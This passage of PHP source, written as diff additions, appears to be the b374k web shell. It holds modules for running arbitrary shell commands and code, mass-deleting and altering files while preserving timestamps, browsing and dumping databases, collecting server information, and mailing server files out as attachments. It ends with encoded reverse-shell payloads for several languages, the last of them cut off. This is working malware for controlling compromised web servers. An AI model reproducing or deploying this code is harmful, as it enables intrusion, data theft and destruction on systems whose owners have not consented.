"data:".$mime.";base64,".base64_encode(read_file($file)); + die(); + } +} +elseif(isset($p['massType'])&&isset($p['massBuffer'])&&isset($p['massPath'])&&isset($p['massValue'])){ + $massType = trim($p['massType']); + $massBuffer = trim($p['massBuffer']); + $massPath = realpath($p['massPath']).DIRECTORY_SEPARATOR; + $massValue = trim($p['massValue']); + $counter = 0; + + $massBufferArr = explode("\n", $massBuffer); + if(($massType=='tar')||($massType=='targz')||($massType=='zip')){ + if(compress($massType, $massValue, $massBufferArr)){ + $counter++; + return $counter; + } + } + else{ + foreach($massBufferArr as $k){ + $path = trim($k); + if(file_exists($path)){ + $preserveTimestamp = filemtime($path); + if($massType=='delete'){ + if(is_file($path)){ + if(unlink($path)) $counter++; + } + elseif(is_dir($path)){ + if(rmdirs($path)>0) $counter++; + } + } + elseif($massType=='cut'){ + $dest = $massPath.basename($path); + if(rename($path, $dest)){ + $counter++; + touch($dest, $preserveTimestamp); + } + } + elseif($massType=='copy'){ + $dest = $massPath.basename($path); + if(is_dir($path)){ + if(copys($path, $dest)>0) $counter++; + } + elseif(is_file($path)){ + if(copy($path, $dest)) $counter++; + } + } + elseif(($massType=='untar')||($massType=='untargz')||($massType=='unzip')){ + if(decompress($massType, $path, $massValue)){ + $counter++; + return $counter; + } + } + elseif(!empty($massValue)){ + if($massType=='chmod'){ + if(chmod($path, octdec($massValue))) $counter++; + } + elseif($massType=='chown'){ + if(chown($path, $massValue)) $counter++; + } + elseif($massType=='touch'){ + if(touch($path, strtotime($massValue))) $counter++; + } + } + } + } + } + if($counter>0) output($counter); + output('error'); +} +elseif(isset($p['viewFileorFolder'])){ + $entry = $p['viewFileorFolder']; + if(is_file($entry)) output('file'); + elseif(is_dir($entry)) output('folder'); + output('error'); +} +elseif(isset($p['terminalInput'])){ + output(html_safe(execute($p['terminalInput']))); +} +elseif(isset($p['evalInput']) && isset($p['evalType'])){ + $evalInput = $p['evalInput']; + $evalOptions = (isset($p['evalOptions']))? $p['evalOptions']:""; + $evalArguments = (isset($p['evalArguments']))? $p['evalArguments']:""; + $evalType = $p['evalType']; + + error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); + @ini_set('html_errors','0'); + @ini_set('display_errors','1'); + @ini_set('display_startup_errors','1'); + + $res = eval_go($evalType, $evalInput, $evalOptions, $evalArguments); + if($res===false) $res == "error"; + output(html_safe($res)); +} +elseif(isset($p['evalGetSupported'])){ + $res = eval_get_supported(); + output($res); +} +$GLOBALS['module']['convert']['id'] = "convert"; +$GLOBALS['module']['convert']['title'] = "Convert"; +$GLOBALS['module']['convert']['js_ontabselected'] = " +if((!portableMode) && ($('#decodeResult').children().length==1)) $('#decodeStr').focus();"; +$GLOBALS['module']['convert']['content'] = " + + + + + + + + + +

Convert

convert
You can also press ctrl+enter to submit
"; + +if(!function_exists('decode')){ + function decode($str){ + $res = ""; + $length = (int) strlen($str); + + $res .= decode_line("md5", md5($str), "input"); + $res .= decode_line("sha1", sha1($str), "input"); + + $res .= decode_line("base64 encode", base64_encode($str), "textarea"); + $res .= decode_line("base64 decode", base64_decode($str), "textarea"); + + + $res .= decode_line("hex to string", @pack("H*" , $str), "textarea"); + $res .= decode_line("string to hex", bin2hex($str), "textarea"); + + $ascii = ""; + for($i=0; $i<$length; $i++){ + $ascii .= ord(substr($str,$i,1))." "; + } + $res .= decode_line("ascii char", trim($ascii), "textarea"); + + $res .= decode_line("reversed", strrev($str), "textarea"); + $res .= decode_line("lowercase", strtolower($str), "textarea"); + $res .= decode_line("uppercase", strtoupper($str), "textarea"); + + $res .= decode_line("urlencode", urlencode($str), "textarea"); + $res .= decode_line("urldecode", urldecode($str), "textarea"); + $res .= decode_line("rawurlencode", rawurlencode($str), "textarea"); + $res .= decode_line("rawurldecode", rawurldecode($str), "textarea"); + + $res .= decode_line("htmlentities", html_safe($str), "textarea"); + + if(function_exists('hash_algos')){ + $algos = hash_algos(); + foreach($algos as $algo){ + if(($algo=='md5')||($algo=='sha1')) continue; + $res .= decode_line($algo, hash($algo, $str), "input"); + } + } + + return $res; + } +} + +if(!function_exists('decode_line')){ + function decode_line($type, $result, $inputtype){ + $res = "".$type.""; + if($inputtype=='input'){ + $res .= ""; + } + else{ + $res .= ""; + } + return $res; + } +} + +if(isset($p['decodeStr'])){ + $decodeStr = $p['decodeStr']; + output(decode($decodeStr)); +} +$GLOBALS['module']['database']['id'] = "database"; +$GLOBALS['module']['database']['title'] = "Database"; +$GLOBALS['module']['database']['js_ontabselected'] = ""; +$GLOBALS['module']['database']['content'] = " + + + + + + + + + + + + + + + + + + + + + + + + + +

Connect

Host
Username
Password
Port (Optional)
+ + connect
+ +"; + +if(!function_exists('sql_connect')){ + function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){ + if($sqltype == 'mysql'){ + if(class_exists('mysqli')) return new mysqli($sqlhost, $sqluser, $sqlpass); + elseif(function_exists('mysql_connect')) return @mysql_connect($sqlhost, $sqluser, $sqlpass); + } + elseif($sqltype == 'mssql'){ + if(function_exists('sqlsrv_connect')){ + $coninfo = array("UID"=>$sqluser, "PWD"=>$sqlpass); + return @sqlsrv_connect($sqlhost,$coninfo); + } + elseif(function_exists('mssql_connect')) return @mssql_connect($sqlhost, $sqluser, $sqlpass); + } + elseif($sqltype == 'pgsql'){ + $hosts = explode(":", $sqlhost); + if(count($hosts)==2){ + $host_str = "host=".$hosts[0]." port=".$hosts[1]; + } + else $host_str = "host=".$sqlhost; + if(function_exists('pg_connect')) return @pg_connect("$host_str user=$sqluser password=$sqlpass"); + } + elseif($sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oci_connect($sqluser, $sqlpass, $sqlhost); } + elseif($sqltype == 'sqlite3'){ + if(class_exists('SQLite3')) if(!empty($sqlhost)) return new SQLite3($sqlhost); + else return false; + } + elseif($sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sqlite_open($sqlhost); } + elseif($sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odbc_connect($sqlhost, $sqluser, $sqlpass); } + elseif($sqltype == 'pdo'){ + if(class_exists('PDO')) if(!empty($sqlhost)) return new PDO($sqlhost, $sqluser, $sqlpass); + else return false; + } + return false; + } +} + +if(!function_exists('sql_query')){ + function sql_query($sqltype, $query, $con){ + if($sqltype == 'mysql'){ + if(class_exists('mysqli')) return $con->query($query); + elseif(function_exists('mysql_query')) return mysql_query($query); + } + elseif($sqltype == 'mssql'){ + if(function_exists('sqlsrv_query')) return sqlsrv_query($con,$query); + elseif(function_exists('mssql_query')) return mssql_query($query); + } + elseif($sqltype == 'pgsql') return pg_query($query); + elseif($sqltype == 'oracle') return oci_execute(oci_parse($con, $query)); + elseif($sqltype == 'sqlite3') return $con->query($query); + elseif($sqltype == 'sqlite') return sqlite_query($con, $query); + elseif($sqltype == 'odbc') return odbc_exec($con, $query); + elseif($sqltype == 'pdo') return $con->query($query); + } +} + +if(!function_exists('sql_num_rows')){ + function sql_num_rows($sqltype,$result){ + if($sqltype == 'mysql'){ + if(class_exists('mysqli_result')) return $result->mysqli_num_rows; + elseif(function_exists('mysql_num_rows')) return mysql_num_rows($result); + } + elseif($sqltype == 'mssql'){ + if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($result); + elseif(function_exists('mssql_num_rows')) return mssql_num_rows($result); + } + elseif($sqltype == 'pgsql') return pg_num_rows($result); + elseif($sqltype == 'oracle') return oci_num_rows($result); + elseif($sqltype == 'sqlite3'){ + $metadata = $result->fetchArray(); + if(is_array($metadata)) return $metadata['count']; + } + elseif($sqltype == 'sqlite') return sqlite_num_rows($result); + elseif($sqltype == 'odbc') return odbc_num_rows($result); + elseif($sqltype == 'pdo') return $result->rowCount(); + } +} + +if(!function_exists('sql_num_fields')){ + function sql_num_fields($sqltype, $result){ + if($sqltype == 'mysql'){ + if(class_exists('mysqli_result')) return $result->field_count; + elseif(function_exists('mysql_num_fields')) return mysql_num_fields($result); + } + elseif($sqltype == 'mssql'){ + if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($result); + elseif(function_exists('mssql_num_fields')) return mssql_num_fields($result); + } + elseif($sqltype == 'pgsql') return pg_num_fields($result); + elseif($sqltype == 'oracle') return oci_num_fields($result); + elseif($sqltype == 'sqlite3') return $result->numColumns(); + elseif($sqltype == 'sqlite') return sqlite_num_fields($result); + elseif($sqltype == 'odbc') return odbc_num_fields($result); + elseif($sqltype == 'pdo') return $result->columnCount(); + } +} + +if(!function_exists('sql_field_name')){ + function sql_field_name($sqltype,$result,$i){ + if($sqltype == 'mysql'){ + if(class_exists('mysqli_result')) { $z=$result->fetch_field();return $z->name;} + elseif(function_exists('mysql_field_name')) return mysql_field_name($result,$i); + } + elseif($sqltype == 'mssql'){ + if(function_exists('sqlsrv_field_metadata')){ + $metadata = sqlsrv_field_metadata($result); + if(is_array($metadata)){ + $metadata=$metadata[$i]; + } + if(is_array($metadata)) return $metadata['Name']; + } + elseif(function_exists('mssql_field_name')) return mssql_field_name($result,$i); + } + elseif($sqltype == 'pgsql') return pg_field_name($result,$i); + elseif($sqltype == 'oracle') return oci_field_name($result,$i+1); + elseif($sqltype == 'sqlite3') return $result->columnName($i); + elseif($sqltype == 'sqlite') return sqlite_field_name($result,$i); + elseif($sqltype == 'odbc') return odbc_field_name($result,$i+1); + elseif($sqltype == 'pdo'){ + $res = $result->getColumnMeta($i); + return $res['name']; + } + } +} + +if(!function_exists('sql_fetch_data')){ + function sql_fetch_data($sqltype,$result){ + if($sqltype == 'mysql'){ + if(class_exists('mysqli_result')) return $result->fetch_row(); + elseif(function_exists('mysql_fetch_row')) return mysql_fetch_row($result); + } + elseif($sqltype == 'mssql'){ + if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($result,1); + elseif(function_exists('mssql_fetch_row')) return mssql_fetch_row($result); + } + elseif($sqltype == 'pgsql') return pg_fetch_row($result); + elseif($sqltype == 'oracle') return oci_fetch_row($result); + elseif($sqltype == 'sqlite3') return $result->fetchArray(1); + elseif($sqltype == 'sqlite') return sqlite_fetch_array($result,1); + elseif($sqltype == 'odbc') return odbc_fetch_array($result); + elseif($sqltype == 'pdo') return $result->fetch(2); + } +} + +if(!function_exists('sql_close')){ + function sql_close($sqltype,$con){ + if($sqltype == 'mysql'){ + if(class_exists('mysqli')) return $con->close(); + elseif(function_exists('mysql_close')) return mysql_close($con); + } + elseif($sqltype == 'mssql'){ + if(function_exists('sqlsrv_close')) return sqlsrv_close($con); + elseif(function_exists('mssql_close')) return mssql_close($con); + } + elseif($sqltype == 'pgsql') return pg_close($con); + elseif($sqltype == 'oracle') return oci_close($con); + elseif($sqltype == 'sqlite3') return $con->close(); + elseif($sqltype == 'sqlite') return sqlite_close($con); + elseif($sqltype == 'odbc') return odbc_close($con); + elseif($sqltype == 'pdo') return $con = null; + } +} + +if(!function_exists('sql_get_supported')){ + function sql_get_supported(){ + $db_supported = array(); + + if(function_exists("mysql_connect")) $db_supported[] = 'mysql'; + if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $db_supported[] = 'mssql'; + if(function_exists("pg_connect")) $db_supported[] = 'pgsql'; + if(function_exists("oci_connect")) $db_supported[] = 'oracle'; + if(function_exists("sqlite_open")) $db_supported[] = 'sqlite'; + if(class_exists("SQLite3")) $db_supported[] = 'sqlite3'; + if(function_exists("odbc_connect")) $db_supported[] = 'odbc'; + if(class_exists("PDO")) $db_supported[] = 'pdo'; + + return implode(",", $db_supported); + } +} + +if(isset($p['dbGetSupported'])){ + $res = sql_get_supported(); + if(empty($res)) $res = "error"; + output($res); +} +elseif(isset($p['dbType'])&&isset($p['dbHost'])&&isset($p['dbUser'])&&isset($p['dbPass'])&&isset($p['dbPort'])){ + $type = $p['dbType']; + $host = $p['dbHost']; + $user = $p['dbUser']; + $pass = $p['dbPass']; + $port = $p['dbPort']; + + $con = sql_connect($type ,$host , $user , $pass); + $res = ""; + + if($con!==false){ + if(isset($p['dbQuery'])){ + $query = $p['dbQuery']; + $pagination = ""; + if((isset($p['dbDB']))&&(isset($p['dbTable']))){ + $db = trim($p['dbDB']); + $table = trim($p['dbTable']); + $start = (int) (isset($p['dbStart']))? trim($p['dbStart']):0; + $limit = (int) (isset($p['dbLimit']))? trim($p['dbLimit']):100; + + if($type=='mysql'){ + $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$limit.";"; + } + elseif($type=='mssql'){ + $query = "SELECT TOP ".$limit." * FROM ".$db."..".$table.";"; + } + elseif($type=='pgsql'){ + $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$limit." OFFSET ".$start.";"; + } + elseif($type=='oracle'){ + $limit = $start + $limit; + $query = "SELECT * FROM ".$db.".".$table." WHERE ROWNUM BETWEEN ".$start." AND ".$limit.";"; + } + elseif($type=='sqlite' || $type=='sqlite3'){ + $query = "SELECT * FROM ".$table." LIMIT ".$start.",".$limit.";"; + } + else $query = ""; + + $pagination = "Limit + prev + next + + + + "; + } + + $querys = explode(";", $query); + foreach($querys as $query){ + if(trim($query) != ""){ + $query_query = sql_query($type, $query, $con); + if($query_query!=false){ + $res .= "

".html_safe($query).";   [ ok ]

"; + if(!empty($pagination)){ + $res .= "

".$pagination."

"; + } + if(!is_bool($query_query)){ + $res .= ""; + for($i = 0; $i < sql_num_fields($type, $query_query); $i++) + $res .= ""; + $res .= ""; + while($rows = sql_fetch_data($type, $query_query)){ + $res .= ""; + foreach($rows as $r){ + if(empty($r)) $r = " "; + $res .= ""; + } + $res .= ""; + } + $res .= "
".html_safe(sql_field_name($type, $query_query, $i))."
".html_safe($r)."
"; + } + } + else{ + $res .= "

".html_safe($query).";   [ error ]

"; + } + } + } + } + else{ + if(($type!='pdo') && ($type!='odbc')){ + if($type=='mysql') $showdb = "SHOW DATABASES"; + elseif($type=='mssql') $showdb = "SELECT name FROM master..sysdatabases"; + elseif($type=='pgsql') $showdb = "SELECT schema_name FROM information_schema.schemata"; + elseif($type=='oracle') $showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME"; + elseif(($type=='sqlite3') || ($type=='sqlite')) $showdb = "SELECT \"".$host."\""; + else $showdb = "SHOW DATABASES"; + + $query_db = sql_query($type, $showdb, $con); + + if($query_db!=false) { + while($db_arr = sql_fetch_data($type, $query_db)){ + foreach($db_arr as $db){ + if($type=='mysql') $showtbl = "SHOW TABLES FROM ".$db; + elseif($type=='mssql') $showtbl = "SELECT name FROM ".$db."..sysobjects WHERE xtype = 'U'"; + elseif($type=='pgsql') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$db."'"; + elseif($type=='oracle') $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$db."'"; + elseif(($type=='sqlite3') || ($type=='sqlite')) $showtbl = "SELECT name FROM sqlite_master WHERE type='table'"; + else $showtbl = ""; + + $res .= "

".$db."

"; + $query_table = sql_query($type, $showtbl, $con); + + if($query_table!=false){ + while($tables_arr = sql_fetch_data($type, $query_table)){ + foreach($tables_arr as $table) $res .= ""; + } + } + $res .= ""; + } + } + } + } + } + } + if(!empty($res)) output($res); + output('error'); +} + +$GLOBALS['module']['info']['id'] = "info"; +$GLOBALS['module']['info']['title'] = "Info"; +$GLOBALS['module']['info']['js_ontabselected'] = ""; +$GLOBALS['module']['info']['content'] = "
"; + +if(!function_exists('info_getinfo')){ + function info_getinfo(){ + $res = ""; + // server misc info + $res .= "

Server Info

"; + $res .= ""; + + if(!is_win()){ + // cpu info + if($i_buff=trim(read_file("/proc/cpuinfo"))){ + $res .= "

CPU Info

"; + $res .= ""; + } + + // mem info + if($i_buff=trim(read_file("/proc/meminfo"))){ + $res .= "

Memory Info

"; + $i_buffs = explode("\n", $i_buff); + $res .= ""; + } + + // partition + if($i_buff=trim(read_file("/proc/partitions"))){ + $i_buff = preg_replace("/\ +/", " ", $i_buff); + $res .= "

Partitions Info

"; + $res .= ""; + } + } + $phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES); + foreach($phpinfo as $p=>$i){ + $res .= "

".$p."

"; + ob_start(); + eval("phpinfo(".$i.");"); + $b = ob_get_contents(); + ob_end_clean(); + if(preg_match("/(.*?)<\/body>/is", $b, $r)){ + $body = str_replace(array(",", ";", "&"), array(", ", "; ", "&"), $r[1]); + $body = str_replace("(.*?)<\/tr>/", "", $body); + $body = preg_replace("//", "", $body); + $body = preg_replace("//", "", $body); + + $res .= ""; + } + } + + $res .= "refresh
"; + return $res; + } +} + +if(isset($p['infoRefresh'])){ + output(info_getinfo()); +} + +$GLOBALS['module']['mail']['id'] = "mail"; +$GLOBALS['module']['mail']['title'] = "Mail"; +$GLOBALS['module']['mail']['js_ontabselected'] = "if(!portableMode) $('#mailFrom').focus();"; +$GLOBALS['module']['mail']['content'] = " + + + + + + + + + + + + + + + + +

Mail

From
To
Subject
send + attachment +
+"; + +if(!function_exists('send_email')){ + function send_email($from, $to, $subject, $msg, $attachment){ + $headers = "MIME-Version: 1.0\r\n".$from; + + $rand = md5(time()); + $headers .= "Content-Type: multipart/mixed; boundary=\"".$rand."\"\r\n\r\n"; + + $headers .= "--".$rand."\r\n"; + $headers .= "Content-Type: text/html; charset=\"UTF-8\"\r\nContent-Transfer-Encoding: 8bit\r\n\r\n"; + $headers .= $msg."\r\n\r\n"; + + if(count($attachment)>0){ + foreach($attachment as $file){ + if(is_file($file)){ + $content = chunk_split(base64_encode(read_file($file))); + $headers .= "--".$rand."\r\n"; + $headers .= "Content-Type: application/octet-stream; name=\"".basename($file)."\"\r\n"; + $headers .= "Content-Transfer-Encoding: base64\r\n"; + $headers .= "Content-Disposition: attachment\r\n\r\n"; + $headers .= $content."\r\n\r\n"; + } + } + } + $headers .= "--".$rand."--\r\n"; + if(@mail($to, $subject, "", $headers)) return true; + return false; + } +} + +if(isset($p['mailFrom'])&&isset($p['mailTo'])&&isset($p['mailSubject'])&&isset($p['mailContent'])){ + $mailFrom = trim($p['mailFrom']); + $mailTo = trim($p['mailTo']); + $mailSubject = trim($p['mailSubject']); + $mailContent = trim($p['mailContent']); + $mailAttachment = trim($p['mailAttachment']); + $mailAttachment = (!empty($mailAttachment))? explode("{[|b374k|]}", $p['mailAttachment']):array(); + + if(empty($mailTo)) output("Please specify at least one recipient"); + if(!empty($mailFrom)){ + $mailFrom = "From: ".$mailFrom."\r\nReply-To: ".$mailFrom."\r\n"; + } + + foreach($mailAttachment as $file){ + $file = trim($file); + if(empty($file)) continue; + if(!is_file($file)) output("No such file : ".$file); + } + + if(send_email($mailFrom, $mailTo, $mailSubject, $mailContent, $mailAttachment)) output("Mail sent to ".html_safe($mailTo)); + output("Failed to send mail"); +} + +$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:""; +$remote_addr = isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR']:""; +$default_port = 13123; +$winbinary = (strtolower(substr(php_uname(),0,3))=="win")? "":""; + +$GLOBALS['resources']['rs_php'] = "7VRNj9s2ED3bv0JRBSyFKrZlFwiwLjeX9lggaAv0kN0KMkWtCEsiy6FqB9397x1+yB8bZzdIg15aGJbIGc6b4czT+/6tatT0m6gxRsH1fH4vTDNsZkx2883qzXdb/5xyraUuNFdSG9Hfk0W6ngI3hREdL1rRCeNMclOITrWCCVPU7QANQeM0MaW+5wYo36tWVpzEUZwFI/oTBjRfrd7galfSfmhbXPHDChoaYyAmjn798eef6N5w3a3f/ZLTq9vk3W8/3Fytgxtt6/lG9HNootcixtiOxq7+CBrettF1xGTfc2Z4ddujfypqwuTQGzKWmFKap39NJ4miwbTGDVYQ27dBONFXuH6c8hb4pfDleTi8X9x5iIMhvxuxSrZ1WLaOeuiZEbIv+F6AAXKlWG/aopZ6e5V6TFHRo9F2doJxzkxf5ynGGZKfWL1lESxKgtgXODMQFUnPI3wFWFK4n0sHFIzmZVeAZFscNXD9J9ckNkwhTxYz97uOZ4nKEqRHL90LY2zCMTRQRA7YI8hWrpiEPUEuGePKHgilotfIVu4wGwwb3BHkaDH0ZcdJmi2yVYr1xzvRu0In9U4Lw0nCsqSbYYfZDi84i29iCzfZNaJFp3pFaV3izFyIHVBth4FR7pTrkOb3RVca1pB4zqrbiLz//Rbuvk3nAumKt9Q69dGTpKoobv0ofbSAohKaoCdNWTMuvTuR9LQuZ3y0j0Aio0V3eutEuRva+cTRw0P0Cf8fA/rTaIO93K5HuAiT8b29MeZCls8+ynzSL+kKtKXUrJXAx3aMOzcRdFvgp612B5MKaKl1+YEs6I1fxEooHmexjtMsf2rcoXF5wejBlKZKS1ZIxXtM3mQIj50XyrmxUa+wy5qDHDSzN8R5HFl/yrlNi8yyOmWD8QvMFs+fyF88sXz2BAtOTzajh0Az+11zWdu2Pjz4lU+XpsepJboMPbR9DeWEpJ5Ah5wtahfB8xkqJX5uZWY18kBg0RdHHF0eyCpojfGVMzMInBxHGRqUiPRIyzOssaBLgKPvI1T2AuDyGcDly4CP5xw9Ie+49Nc63+dP9qG9jnKjWXvGH/Tdi6IV6iCKtRUtT9DGqQLv8T9q25erF3yResF/Vr3gknp9Sq/gf706OwEv6RV8nl7BV9IruKwG8K/pFXxtvYLP0at/LFJvb/4G"; +$GLOBALS['resources']['rs_python'] = "rVRtb9owEP6c/IrUnYYtUlNoq010QUJtOlVbWwRM+9B2KDgHiQpOZDst/fc7JykwxNQPmxBJ7sV399w958ODVqFVa5rKFshnL381SSbdQy8xJtfdVmuemqSYcpEtW9OTT6dP1dNNl3mmjKfA18U0V5kArf1M+/oV/5l4AuObdAluHhDiJvYRw8zTCSwWVLCu69gzweYsH2Q5SCr80iUYqwIjmzgrzB9O14PQqkGpfepU7mqZ6ygwhZKe1fIqIlcQxZQ131QYbUu1zA1lHKTIYqCNwsyOPjeYW5YfCZNmsqo/nXmZ5jJawkFApCGocmaB4LN0ATKjmNhBO7bDwJISWJXtGofDm2BlQC3PB6N20Pgw+HnZa5zXVlSdl4PQiXeUel8+kqY2is5Yk3i9baGzkTAPLDTY7C8JpvZs56zkGPVavh2FVSkQz7R93DllPIYSGSmREVunAysBuam880jrUldHdSxShEQV6x1XCmcaKOAaIiUSSkT84NH7Xw/6scmIr/zZIppr63D99fZuGF70RyGrjmGgaR2hbl8emYSnOk4VnfK5yoqcthl787ENFMmOsbbh4EDG9G/zqt02IDCYpVLJP8W2iiiMF8m4RIjfFmMd2kruOohX0+gqQqliw1vu7ppj5EGSJhY9ByNeLJ1Ij7jzAEnAIzV/dutOzlkQdOwKBPP79qMLiy39yUbvJPjuWDvmh1VqED7uUyoNzZmrg2rNePWitdS/mlzfhuN6B/no7uLbZDQehv0bPILAjDVk+dp/dPd9Yp22j0yG4Y9R2L+8HPqYcadozZGhMaXkmJc/4ue225ovUqS6pGcoWOrhKkcsQODCcsvuw4Zl9mbgegFgJ7oh8L6Vehs0JeW9U90gXtcTmZQgDMTY8r3TX4/+vQBkvfR746x33t2ZkgXpIUGrOJQmVSP2ojx7D6X+V5T6v6DU7Dc="; +$GLOBALS['resources']['rs_perl'] = "lZJhb9MwEIY/17/CZF6bSIG0DAmpJhVVmqFqa1PFHQhRiNL0WKylcRS7rKgrvx0ny2gEQoJ8sO5en56zHuXsmbOTpbPmuQP5N1xAmaEznCpVyKHj3HKV7tYvErF11hevX909nmgnAU+D4ZCJ5A4URURIl3wJdCFT14B9IUqFl344c/cKyi1dsIHbW5HFh8lq1KPNvQ5pvVem+Dk3KOJfzQr0Y+vc65Rbh5p27gUztvC9c+xcGfSIiHJvQRWlUGL9PY+3YPZUUvQsimT9GpPZ3cVlNJ37S7vLAu8qYsvQH89soqyHhw0H06pXvR2H79677sA6oA4pXFK1n/qfKepIUBVKFBWLBddRRdE0FkShf8P88WQS2gNN6ejXb/RMNR1vNmXEc5MU9nReTUTj+UfrtLGTcakg19MXrTBOEtBrPJtZ9WKN82yjloxlClmGhzgReQ6Jgs0qN+x+NScKyDFbTqZz23jT9Qz6FAQ3S9sYtRM/DJsEdWAPCdZOT+uTTEgwPYs+FuxXUbFbjea2Os20ahxXuE8ROiLI5Mnoyz+NkrTpBnXHXZ6DimIltK+0pYPE7m8uCW9dNya0QxK34lob+zdtZqNt1GWGRZ+Sxls7asRV0d/N/ZewWhMcKm2m/nuOSH8/AQ=="; +$GLOBALS['resources']['rs_ruby'] = "tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs="; +$GLOBALS['resources']['rs_node'] = "nVHLbsIwEDwbiX+IcokjIVsqSJVAnPoJPdKHjLNgq46T2g5UQvx7/QgU6ENVcrCyO7Ozu7OUZsK51s4p3UonujXhTU3X0/vZW3rHox0zmW3ZXmfLzMB7Jw3gggupqtfWNBysLUoSCYtE1uAuqT4syh6yzgCrL9GUORN4o22j4KpVSkVKryJAKU8p6FpqakXhEbnB/TSkVcxtGlOTmjkuMH3Ze5Ysy686XlcEPqA4KzKz3XngpBDCpBn+iAK9dWK5nJaH8QgFvvBkvxfhfngHj2B2YPCm09zJRmMbeciSvZEOcB6N7LvPw4oauIPqSedhp6z/0mZeOHqJI/0St4JYV0lNDNiuBlzeQk3niO+eV8yxfHKaJsMhLg+naWK0OH5XBmMGlv9Vdhr6WzVKryBKWgc6Or26ew7J43gEykJ26//s7L+98v8hORqs71Um8aKraZT77yHQbxdAP1iPBnqOBpqNhrl8/AQ="; +$GLOBALS['resources']['rs_gcc'] = "rVJhb9owEP0Mv8JjU+tQj5C006TSVEKFSWgtRMA0TRuKgmPIqcGOYjNBp/732nFgwLRJk/ohyd27l3f2vXObKFUql9euuwSVructKlbu/PLj1aN9o6ZbfwucZuuEoRupEhCt9PYIKoAvT7Ekg/kJtpWu2uZM/glLQR+ZOsY5U6AfF/gxvuag1Q0GXKFVDBybIC6WlNA0LlBThz+/z5xf9ZopSEKJCLxOvaYPuqYa0M3iJCki4Ag0DAtsfg4C3/xSg5YEHi3iFWTboPspGgz7084ez0WhglQJLnGsBOCylzdznN8Uo92S5adkZngw7PZ646g7/FbSZGDviyt1MhndfY4m03G/+0DalsKU4YhcYanL95GhlMxo3P8y6Rs9ciaIhCcmFlhU/Rf4jXTYBhS2MnPgiRbAJzdHTecMSHvjWVamB8q45n0oUxrElLKyc3t/HK1DScMuhExZlqFrRAXnjCqW/OAN4l9V3GSd+5p7lHiHiW8lt7rpCjfYxowUTfvjh2CjWLHqhBMvOH8Xfu3dnneqqoZ0yChy9Y1cmaL30LBnzYRkmJr4uV5jmWRob+fl69tpFrKMLNGf2Sk/sULsEKJnnelp7ggX3sUhstP+5w4MwnA8mo6i6V248xVXw/6rm9UmnNQcx7lpH25E6aT8DyflceIdJq/vpLROPtdfAA=="; +$GLOBALS['resources']['rs_java'] = 